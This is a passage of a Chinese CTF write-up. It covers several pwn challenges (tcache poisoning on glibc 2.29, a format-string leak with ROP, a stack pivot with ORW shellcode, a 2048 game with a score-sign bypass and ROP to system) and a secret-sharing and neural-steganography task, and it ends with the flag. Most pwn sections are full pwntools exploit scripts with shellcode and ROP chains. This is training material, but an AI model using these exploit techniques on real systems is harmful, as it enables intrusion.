nodes数组中仍然持有指向 Victim 的悬垂指针。 - 申请一个块(从 Tcache 取出),消耗掉 Tcache 的一个空位,使 Tcache 计数变为 6。
- 再次释放 Victim。
- 关键点:此时 Victim 位于 Unsorted Bin 的大块内部,其
key字段(在 2.29 中用于检测 Double Free)被 Unsorted Bin 的元数据覆盖或处于非 Tcache 状态。 - 由于 Tcache 有空位(6/7),Victim 被成功放入 Tcache 链表。
- 关键点:此时 Victim 位于 Unsorted Bin 的大块内部,其
- 现状:Victim 现在 既在 Tcache 链表中(等待被分配),又是 Unsorted Bin 大块的一部分(可以被覆写)。
- Tcache Poisoning:
- 申请一个比 Victim 更大的块(例如 0x120),系统会从 Unsorted Bin 的大块(0x220)中切割。
- 这次申请的内容会覆盖到 Victim 的头部和
fd指针。 - 我们将 Victim 的
fd修改为__free_hook的地址。
- Get Shell:
- 申请 0x100 大小,取回 Victim 块。
- 再次申请 0x100 大小,系统会返回我们伪造的地址
__free_hook。 - 向
__free_hook写入system函数地址。 - 释放 Guard 块(内容为
/bin/sh),触发system("/bin/sh")。
Exp
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
context.terminal = ['tmux', 'splitw', '-h']
binary_path = './pwn'
libc_path = './libc-2.29.so'
try:
elf = ELF(binary_path)
libc = ELF(libc_path)
except:
pass
def start_process():
if args.REMOTE:
return remote('challenge.bluesharkinfo.com', 23858)
else:
return process(binary_path)
def add(p, size, content):
p.sendlineafter(b"Your choice: ", b"1")
p.sendlineafter(b"Size: ", str(size).encode())
p.sendafter(b"Content: ", content)
def delete(p, index):
p.sendlineafter(b"Your choice: ", b"2")
p.sendlineafter(b"Index: ", str(index).encode())
def show(p, index):
p.sendlineafter(b"Your choice: ", b"3")
p.sendlineafter(b"Index: ", str(index).encode())
def exploit():
p = start_process()
# 分配 7 个填充块 + Prev + Victim + Guard
# 索引 0-6: Fillers
for i in range(7):
add(p, 0x100, b"Filler")
add(p, 0x100, b"Prev")
add(p, 0x100, b"Victim")
add(p, 0x100, b"/bin/sh\x00")
# 释放 Fillers 填满 Tcache
for i in range(7):
delete(p, i)
# Victim 进 Unsorted Bin
delete(p, 8)
# 利用 UAF 读取 fd 指针
show(p, 8)
p.recvuntil(b"Content: ")
leak = u64(p.recvline()[:-1].ljust(8, b"\x00"))
log.info(f"Leaked Unsorted Bin Address: {hex(leak)}")
libc_base = leak - 96 - 0x10 - libc.symbols['__malloc_hook']
libc.address = libc_base
log.success(f"Libc Base: {hex(libc_base)}")
free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']
# 释放 Prev (7)。因为 Victim (8) 在 Unsorted Bin,它们合并成 0x220 的大块。
delete(p, 7)
add(p, 0x100, b"Tcache consumer") # Index 10
delete(p, 8)
# 从 Unsorted Bin (合并的大块) 切割申请。
# 覆盖范围:Prev 的数据区(0x100) + Victim 的 Header(0x10) + Victim 的 fd
payload = b'A' * 0x100
payload += p64(0) + p64(0x111) # 恢复 Victim 的 Size 字段
payload += p64(free_hook) # 修改 Tcache 的 fd 指针
add(p, 0x120, payload)
add(p, 0x100, b"Victim retrieval") # Index 12 (取出 Victim)
add(p, 0x100, p64(system)) # Index 13 (取出 __free_hook)
# free(Guard) -> system("/bin/sh")
delete(p, 9)
p.interactive()
if __name__ == '__main__':
exploit()
Heap?
程序是一个简单的堆管理器,包含三个主要功能:
- add: 分配指定大小的堆块并写入内容
- delete: 释放指定索引的堆块
- show: 显示指定索引的堆块内容
(1) 格式化字符串漏洞 (show函数)
printf(*((const char **)&list + v1[0])); // 直接使用用户控制的字符串作为格式化字符串
(2) 栈溢出漏洞 (read_num函数)
unsigned int buf; // [rsp+10h] [rbp-20h]
char v2[16]; // [rsp+18h] [rbp-18h]
read(0, &buf, 8uLL); // 读取8字节到buf
read(0, v2, buf); // 根据buf的值读取数据到v2,如果buf > 16,会导致栈溢出
使用格式化字符串漏洞泄露:
- Canary: 绕过栈保护
- libc地址: 计算libc基址
- 程序基址: 计算gadget地址
格式化字符串解析:
- 通过
%p泄露多个地址 - 从泄露数据中识别canary(通常以
00结尾) - 找到
__libc_start_main+243的地址计算libc基址
libc基址 = 泄露的libc地址 – 0x29d90
获取gadget地址:
pop rdi; ret: libc基址 + 0x2a3e5ret: libc基址 + 0x29139
获取关键函数地址:
system: libc.sym[‘system’]/bin/sh字符串地址:next(libc.search(b'/bin/sh\x00'))
理解栈布局:
rbp-0x18: v2缓冲区开始(16字节)
rbp-0x8: canary
rbp: saved rbp
rbp+0x8: 返回地址
- 构造payload:
- 由于
v2的前4字节被第一个read的后4字节覆盖,所以实际可控数据从v2+4开始 - 从
v2+4到canary的偏移:0x10 - 4 = 12字节
- 由于
- payload结构:4字节: 任意(会被覆盖)
12字节: 填充
8字节: canary
8字节: saved rbp (0)
8字节: pop rdi; ret
8字节: /bin/sh地址
8字节: ret (栈对齐)
8字节: system地址
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
BINARY = './pwn'
LIBC = './libc.so.6'
LD = './ld-linux-x86-64.so.2'
elf = ELF(BINARY, checksec=False)
libc = ELF(LIBC, checksec=False)
def start():
return remote('challenge.bluesharkinfo.com', 23616)
def add(size, content):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'> ', str(size).encode())
p.sendafter(b'> ', content)
p.recvuntil(b'OK!\n')
def show(idx):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'> ', str(idx).encode())
return p.recvline()
def leak_addresses():
fmt_payload = b'%p.' * 50
add(len(fmt_payload), fmt_payload)
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'> ', b'0')
leak_data = p.recvuntil(b'\n').strip()
leaks = leak_data.split(b'.')
leak_vals = []
for leak in leaks:
if leak == b'(nil)':
leak_vals.append(0)
elif leak.startswith(b'0x'):
leak_vals.append(int(leak, 16))
else:
leak_vals.append(0)
canary = leak_vals[6]
libc_leak = leak_vals[12]
log.success(f"Canary: {hex(canary)}")
log.success(f"Libc leak: {hex(libc_leak)}")
libc.address = libc_leak - 0x29d90 # __libc_start_main+243
log.success(f"Libc base: {hex(libc.address)}")
return canary
def exploit():
global p
p = start()
canary = leak_addresses()
pop_rdi = libc.address + 0x2a3e5 # pop rdi; ret
ret = libc.address + 0x29139 # ret
system_addr = libc.symbols['system']
bin_sh_addr = next(libc.search(b'/bin/sh\x00'))
log.info(f"pop_rdi: {hex(pop_rdi)}")
log.info(f"ret: {hex(ret)}")
log.info(f"system: {hex(system_addr)}")
log.info(f"/bin/sh: {hex(bin_sh_addr)}")
payload = b'0000'
payload += b'A' * 12
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(bin_sh_addr)
payload += p64(ret)
payload += p64(system_addr)
payload = payload.ljust(0x100, b'B')
p.sendlineafter(b'> ', b'2')
p.sendafter(b'> ', p32(len(payload)) + b'0\x00\x00\x00')
p.send(payload)
p.interactive()
if __name__ == '__main__':
exploit()
ez_stack
拿到题目附件 baby_stack,首先进行常规检查:
- Checksec:
- Arch: amd64-64-little
- RELRO: Full RELRO
- Stack: Canary found
- NX: NX enabled
- PIE: PIE enabled
- Seccomp: Enabled (Ban
execve)
- 逆向分析:
- 程序主逻辑在
main函数中,依次调用了几个功能函数。 init_data_and_syscall: 初始化沙箱,禁用execve,只能使用 ORW (Open-Read-Write) 读取 flag。check_ret_addr_error: 存在明显的栈溢出漏洞。- 定义了一个 264 字节的缓冲区
v4。 - 调用
read_line_from_fd读取最多 4096 字节到v4。 - 关键检查: 函数会在
read之后检查栈上 Return Address 的最低字节 (LSB) 是否被篡改。如果 LSB 不等于原始值(即check_ret_addr_error返回地址的 LSB),则输出错误并退出。 - Canary: 虽然 checksec 显示有 Canary,且函数开头设置了 Canary,但反汇编显示该函数并没有在退出前检查 Canary(或者是我们覆盖 Saved RBP 导致提前崩溃),因此可以直接溢出覆盖。
- 定义了一个 264 字节的缓冲区
- 程序主逻辑在
1. 绕过保护
- Canary: 由于
check_ret_addr_error缺少有效的 Canary 检查(或者我们可以通过覆盖 RBP 劫持控制流而不触发检查),我们可以将其视为填充数据直接覆盖。 - Return Address Check: 这是一个很难缠的检查。如果我们直接覆盖返回地址进行 ROP,LSB 肯定会改变(因为 Payload 通常包含 NULL 字节或地址随机化),导致检查失败程序退出。
- 解决方案: 我们必须构造一个 Return Address,其 LSB 与原始返回地址完全一致。
- 原始返回地址是
main中call check_ret_addr_error(0x1896) 的下一条指令,即 0x189b。LSB 为 0x9b。 - 我们利用 Stack Pivot 技术,将栈劫持到我们可控的内存区域,从而绕过后续的限制。
2. 栈迁移
- 利用点:
main函数和check_ret_addr_error函数都使用leave; ret指令作为结尾。leave等价于mov rsp, rbp; pop rbp。
- Payload 构造:
- 我们覆盖栈上的 Saved RBP 为我们想要迁移到的地址(FAKE_RBP)。
- 我们覆盖 Return Address 为
main函数中check_ret_addr_error返回后的地址 0x189b。 - 这样,
check_ret_addr_error返回时:- 检查通过(LSB 0x9b == 0x9b)。
- 执行
leave,将Saved RBP(也就是FAKE_RBP)弹入rbp寄存器。 - 执行
ret,跳转到0x189b。
- 回到
main(0x189b):- 继续执行,遇到
0x189e的leave指令。 leave执行mov rsp, rbp。此时rbp已经是我们的FAKE_RBP。- 栈迁移成功!
rsp被劫持到了FAKE_RBP。 leave继续执行pop rbp,rsp指向FAKE_RBP + 8。ret执行pop rip,从FAKE_RBP + 8处取出地址并跳转。
- 继续执行,遇到
3. Shellcode 布局
由于 PIE 和 ASLR,我们很难在堆栈上找到固定的 shellcode 地址。但是题目提供了一个特殊的固定地址内存区域:0x114514000。read_line_from_fd 允许我们在 main 开始时向这个地址写入 16 字节。
- Stage 1 Payload (位于 0x114514000):
- 前 8 字节:Stage 1 Shellcode。
- 后 8 字节:指针,指向
0x114514000。 - FAKE_RBP 设置为 0x114514000。
- 当
main执行ret时,它从FAKE_RBP + 8(即0x114514008)读取地址。该处存放着指针0x114514000。 - 于是程序跳转到
0x114514000,开始执行 Stage 1 Shellcode。
- Stage 1 Shellcode 功能:
- 由于空间只有 8 字节,我们需要极其精简的汇编代码。
- 利用
push rsp; pop rsi获取当前栈指针(此时指向0x114514010)。 - 调用
read(0, rsi, 255)读取后续的 Stage 2 Shellcode 到0x114514010。 - 直接跳转到
rsi执行 Stage 2。
- Stage 2 Shellcode:
- 标准的 ORW (Open /flag, Read, Write) Shellcode。
4. PIE Leak
为了构造正确的 Return Address (base + 0x189b),我们需要 PIE 基址。
- 程序在
print_gift_prompt_with_addrs中泄露了main函数的地址。 - 我们读取该泄漏地址,减去偏移
0x184f得到 PIE Base。
from pwn import *
import time
context.arch = 'amd64'
context.log_level = 'info'
binary_path = './baby_stack'
def get_process():
# return process(binary_path)
return remote('challenge.bluesharkinfo.com', 28923)
def exploit():
# push rsp; pop rsi -> rsi = 0x114514010
# mov dl, 0xff -> Count = 255
# syscall -> read(0, 0x114514010, 255) (rax=0, rdi=0 assumed)
# jmp rsi -> Jump to 0x114514010
#
# Bytes: 54 5e b2 ff 0f 05 ff e6
shellcode_s1 = b"\x54\x5e\xb2\xff\x0f\x05\xff\xe6"
payload_1 = shellcode_s1 + p64(0x114514000)
p = get_process()
p.send(payload_1)
p.recvuntil(b"DO YOU LIKE GIFT?\n")
try:
leak_data = p.recv(6)
main_leak = u64(leak_data.ljust(8, b'\x00'))
print(f"[+] Leaked main addr: {hex(main_leak)}")
base_addr = main_leak - 0x184f
print(f"[+] PIE Base: {hex(base_addr)}")
target_ret = base_addr + 0x189b
print(f"[+] Target Ret Addr: {hex(target_ret)}")
p.clean(timeout=0.1)
except Exception as e:
print(f"[-] Leak failed: {e}")
p.close()
return
pivot_payload = b'A' * 264 + b'B' * 8 + p64(0x114514000) + p64(target_ret) + b'\n'
p.send(pivot_payload)
print("[*] Payload sent. Waiting for Stack Pivot...")
print("[*] Sending Stage 2 (ORW)...")
orw = shellcraft.open('/flag', 0)
orw += shellcraft.read('rax', 'rsp', 100)
orw += shellcraft.write(1, 'rsp', 100)
p.send(b'\x90'*16 + asm(orw))
p.interactive()
if __name__ == '__main__':
exploit()
Molly
程序逻辑
程序是一个简单的 2048 游戏。
- Main 函数:
- 输入名字,存储在全局变量
buf(0x404a40) 中。 - 构造欢迎字符串 “Hello, [name], …”。
- 进入游戏循环
playgame()。 - 游戏结束后调用
final()。
- 输入名字,存储在全局变量
- Playgame 函数:
- 正常的 2048 逻辑。
- 输入 ‘q’ 可以退出当前局,但是
score会减 10。
- Final 函数:
- 检查分数:
if ( (unsigned int)score <= 100000 ),如果分数不达标则失败。 - 如果分数达标,进入
shell()函数。
- 检查分数:
- Shell 函数:
- 一个模拟的 shell,支持
ls和exit。 - 存在 栈溢出漏洞:
read(0, buf, 0x128uLL),而buf大小只有 144 字节 (0x90),且 Canary 保护开启。
- 一个模拟的 shell,支持
score 是一个有符号整数(初始 50)。每次 ‘q’ 退出减 10。 如果在 final() 中检查时被强制转换为 unsigned int:
if ( (unsigned int)score <= 0x1869F )
我们可以通过多次 ‘q’ 将分数减至负数(例如 -10)。 -10 的补码表示为无符号整数是一个非常大的数字(0xFFFFFFF6 = 4294967286),远大于 100000。 从而绕过分数检查,进入 shell()。
进入 shell() 后:
- Leak Canary & RBP:
buf位于rbp-0x90,Canary 位于rbp-0x8。距离为 136 字节。- Canary 的第一个字节通常是
\x00。 - 发送 137 字节(填充 136 字节 + 1 字节覆盖 Canary 的
\x00),利用程序的输出功能泄露 Canary 和随后的 RBP。
- 构造 ROP:
- 目标是执行
system("/bin/sh")或system("cat flag")。 - 程序开启了 NX,不能直接执行 shellcode。
- 利用
pop rdi; retgadget 调用system。 - 参数构造技巧:
- 程序开头输入的
name存储在固定地址的全局变量0x404a40中。 - 我们在输入名字时构造
;cat flag(或者;sh)。 - 全局变量内容变为
Hello,;cat flag,...。 - 调用
system(0x404a40)时,shell 会先尝试执行Hello(命令未找到),然后执行;后的cat flag。
- 程序开头输入的
- 目标是执行
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
pop_rdi = 0x40133e
ret_gadget = 0x40133f
system_plt = 0x401170
buf_addr_global = 0x404a40
def exploit():
try:
# r = process('./ez2048')
r = remote('challenge.bluesharkinfo.com', 23585)
r.recvuntil(b"input your name\n>")
r.sendline(b";cat flag")
r.recvuntil(b"Press \"Enter\" to start the game")
r.send(b"\n")
for i in range(5):
r.send(b'q\nc\n')
r.recvuntil(b"start a new round\n>")
r.send(b'q\nQ\n')
r.recvuntil(b"here is your shell")
r.recvuntil(b"$ ")
payload_leak = b'A' * 137
r.send(payload_leak)
r.recvuntil(b"executing command: ")
leak_data = r.recvuntil(b"command not found", drop=True)
r.recvuntil(b"$ ")
if leak_data.endswith(b'\n'):
leak_data = leak_data[:-1]
if len(leak_data) < 137 + 7:
log.error("Leak failed")
return
canary_fragment = leak_data[137:137+7]
canary = b'\x00' + canary_fragment
log.success(f"Canary: {canary.hex()}")
rbp_fragment = leak_data[137+7:]
if len(rbp_fragment) > 8:
rbp_fragment = rbp_fragment[:8]
saved_rbp = u64(rbp_fragment.ljust(8, b'\x00'))
log.success(f"Saved RBP: {hex(saved_rbp)}")
payload = b'A' * 136
payload += canary
payload += p64(saved_rbp)
payload += p64(pop_rdi)
payload += p64(buf_addr_global)
payload += p64(ret_gadget)
payload += p64(system_plt)
r.sendline(payload)
r.interactive()
except Exception as e:
log.error(f"Error: {e}")
if __name__ == "__main__":
exploit()
Image_is_all_you_need
解题过程分为两步:首先利用密码学知识恢复出完整的隐写图片 secret.png,然后利用 AI 模型从中提取出 Flag。
第一步:恢复 Secret 图片
逻辑分析
通过阅读 share_secret.py,我们发现它实现了一个基于模 257 域的 Lagrange 插值秘密共享方案。
- 加密过程:
- 像素值 $P$ 与多项式 $f(x)$ 结合:$S_i = (P + f(i)) \pmod{257}$。
- 对于计算结果为 256 的特殊情况(因为图片是 uint8,最大 255),脚本将其存为 0,并将位置索引记录在 PNG 的
tEXt块中。
- 解密思路:
- 读取 6 张图片的像素数据。
- 读取每张图片
tEXt块中的额外信息,将对应位置的像素还原为 256。 - 对每个像素位置,利用 6 个点的 $(x, y)$ 坐标($x$ 为 1~6,$y$ 为像素值),使用 Lagrange 插值公式计算 $x=0$ 处的值,即为原始像素值。
- 模运算需要在 mod 257 下进行。
恢复脚本
import png
import numpy as np
from PIL import Image
import os
def read_text_chunk(src_png):
reader = png.Reader(filename=src_png)
chunks = reader.chunks()
chunk_list = list(chunks)
for chunk_type, chunk_data in chunk_list:
if chunk_type == b'tEXt':
try:
data = chunk_data
if b'\x00' in data:
keyword, text = data.split(b'\x00', 1)
decoded = text.decode('utf-8', errors='ignore')
else:
decoded = data.decode('utf-8', errors='ignore')
if decoded.startswith('[') and decoded.endswith(']'):
return eval(decoded)
except:
continue
return []
def modInverse(n, mod):
return pow(int(n), mod - 2, mod)
def solve():
n = 6
mod = 257
# 读取第一张图获取尺寸
img1 = Image.open("secret_1.png")
data1 = np.asarray(img1)
shape = data1.shape
num_pixels = data1.size
pixel_data = np.zeros((n, num_pixels), dtype=int)
extras = []
print("Loading shares...")
for i in range(n):
fname = f"secret_{i+1}.png"
extras.append(set(read_text_chunk(fname)))
img = Image.open(fname)
pixel_data[i] = np.asarray(img).flatten()
print("Reconstructing...")
Y = pixel_data.copy().astype(int)
# 恢复 256 的值
for i in range(n):
if extras[i]:
indices = [idx for idx in list(extras[i]) if idx < num_pixels]
Y[i, indices] = 256
# Lagrange 插值 x=0
xs = list(range(1, n + 1))
coeffs = []
for i in range(n):
numerator = 1
denominator = 1
for j in range(n):
if i == j: continue
numerator = (numerator * (0 - xs[j])) % mod
denominator = (denominator * (xs[i] - xs[j])) % mod
li0 = (numerator * modInverse(denominator, mod)) % mod
coeffs.append(li0)
recovered = np.zeros(num_pixels, dtype=int)
for i in range(n):
term = (Y[i] * coeffs[i]) % mod
recovered = (recovered + term) % mod
recovered = recovered.astype(np.uint8).reshape(shape)
Image.fromarray(recovered).save("recovered_secret.png")
print("Saved recovered_secret.png")
if __name__ == "__main__":
solve()
运行后得到 recovered_secret.png。
第二步:AI 模型提取 Flag
模型分析
Steg 文件夹中的代码展示了一个基于 Invertible Neural Network (INN) 的架构。
- 结构:模型由多个
INV_block组成,这是一种类似 RealNVP 的耦合层结构,具有天然的可逆性。 - 前向过程 (Encode):输入
Cover和Payload,输出Stego(y1) 和Residual(y2)。代码中只保存了y1(secret.png),丢弃了y2。 - 逆向过程 (Decode):为了提取信息,我们需要将
y1输入网络的逆变换中。 - 缺失的 y2:由于
y2丢失,但在训练良好的隐写网络中,y2通常服从高斯分布或接近零。我们可以尝试用全 0 或随机噪声代替y2进行逆变换。
逆向脚本实现
原始代码没有提供 inverse 方法,我们需要利用 INN 的数学性质手动实现逆变换。
INV_block 的前向计算为:
$$
y_1 = x_1 + \phi(x_2) \\ s_1, t_1 = \rho(y_1), \eta(y_1) \\ y_2 = e(s_1) \cdot x_2 + t_1
$$
推导逆变换:
$$
x_2 = (y_2 - t_1) \cdot e(-s_1) \\ x_1 = y_1 - \phi(x_2)
$$
数据提取与纠错
还原出的 Payload 图片看起来是噪声,但实际上包含了编码后的比特流。
- 查看
utils.py,发现make_payload将消息比特流重复填充到整个图片中。 - 我们需要找到重复周期,对多个周期的信号取平均以消除噪声(因为我们猜测的
y2不完全准确,会引入噪声)。 - 最后使用 Reed-Solomon (
reedsolo) 解码并 Zlib 解压。
提取脚本
import sys
import os
import torch
import numpy as np
from PIL import Image
import torchvision.transforms as T
import zlib
from reedsolo import RSCodec
# 假设 Steg 文件夹在当前目录
sys.path.append("Steg")
from model import Model
from block import INV_block
from net import simple_net
from utils import DWT, IWT, bits_to_bytearray, bytearray_to_text
# 1. Monkey Patch: 实现逆变换
def inv_block_inverse(self, x):
split_size = self.channels * 4
y1 = x.narrow(1, 0, split_size)
y2 = x.narrow(1, split_size, split_size)
s1, t1 = self.r(y1), self.y(y1)
# x2 = (y2 - t1) / e(s1)
x2 = (y2 - t1) / self.e(s1)
t2 = self.f(x2)
x1 = y1 - t2
return torch.cat((x1, x2), 1)
INV_block.inverse = inv_block_inverse
def net_inverse(self, x):
out = x
# 逆序执行 block
for i in range(8, 0, -1):
out = getattr(self, f'inv{i}').inverse(out)
return out
simple_net.inverse = net_inverse
Model.inverse = lambda self, x: self.model.inverse(x)
def solve_steg():
# 适配 CPU
device = torch.device("cpu")
if not torch.cuda.is_available():
torch.Tensor.cuda = lambda self, *args, **kwargs: self
torch.nn.Module.cuda = lambda self, *args, **kwargs: self
# 加载模型
model = Model(cuda=False)
state = torch.load(os.path.join("Steg", "misuha.taki"), map_location=device)
# 修正 key
new_state = {k: v for k, v in state['net'].items() if 'tmp_var' not in k}
model.load_state_dict(new_state)
model.eval()
dwt = DWT().to(device)
iwt = IWT().to(device)
# 加载恢复的图片
img = Image.open("recovered_secret.png").convert('RGB')
img_tensor = T.ToTensor()(img).unsqueeze(0).to(device)
# DWT 变换
y1 = dwt(img_tensor)
# 猜测 y2 为全 0
z = torch.zeros_like(y1).to(device)
inp = torch.cat((y1, z), dim=1)
# 逆向推理
with torch.no_grad():
out = model.inverse(inp)
# 提取 Payload 部分 (后半部分通道)
x2_rec = out.narrow(1, 12, 12)
payload_img = iwt(x2_rec)
# 转为比特流
bits_float = payload_img.flatten().cpu().numpy()
bits_raw = (bits_float > 0.5).astype(int)
# 寻找周期并平均
# 经过分析尝试,周期约为 1376
L = 1376
num_periods = len(bits_float) // L
bits_reshaped = bits_float[:num_periods * L].reshape((num_periods, L))
bits_avg = bits_reshaped.mean(axis=0)
bits_clean = (bits_avg > 0.5).astype(int)
# 解码
rs = RSCodec(128) # 对应 utils.py 中的设置
b = bits_to_bytearray(bits_clean)
try:
decoded = rs.decode(b)[0]
text = zlib.decompress(decoded)
print(f"Flag: {text}")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
solve_steg()
运行上述脚本,成功解出 Flag。
Flag: b'flag{Sh4r3_S3reCTTt_wiTh_Ai_H@@@@}'
换flag头为ISCTF即可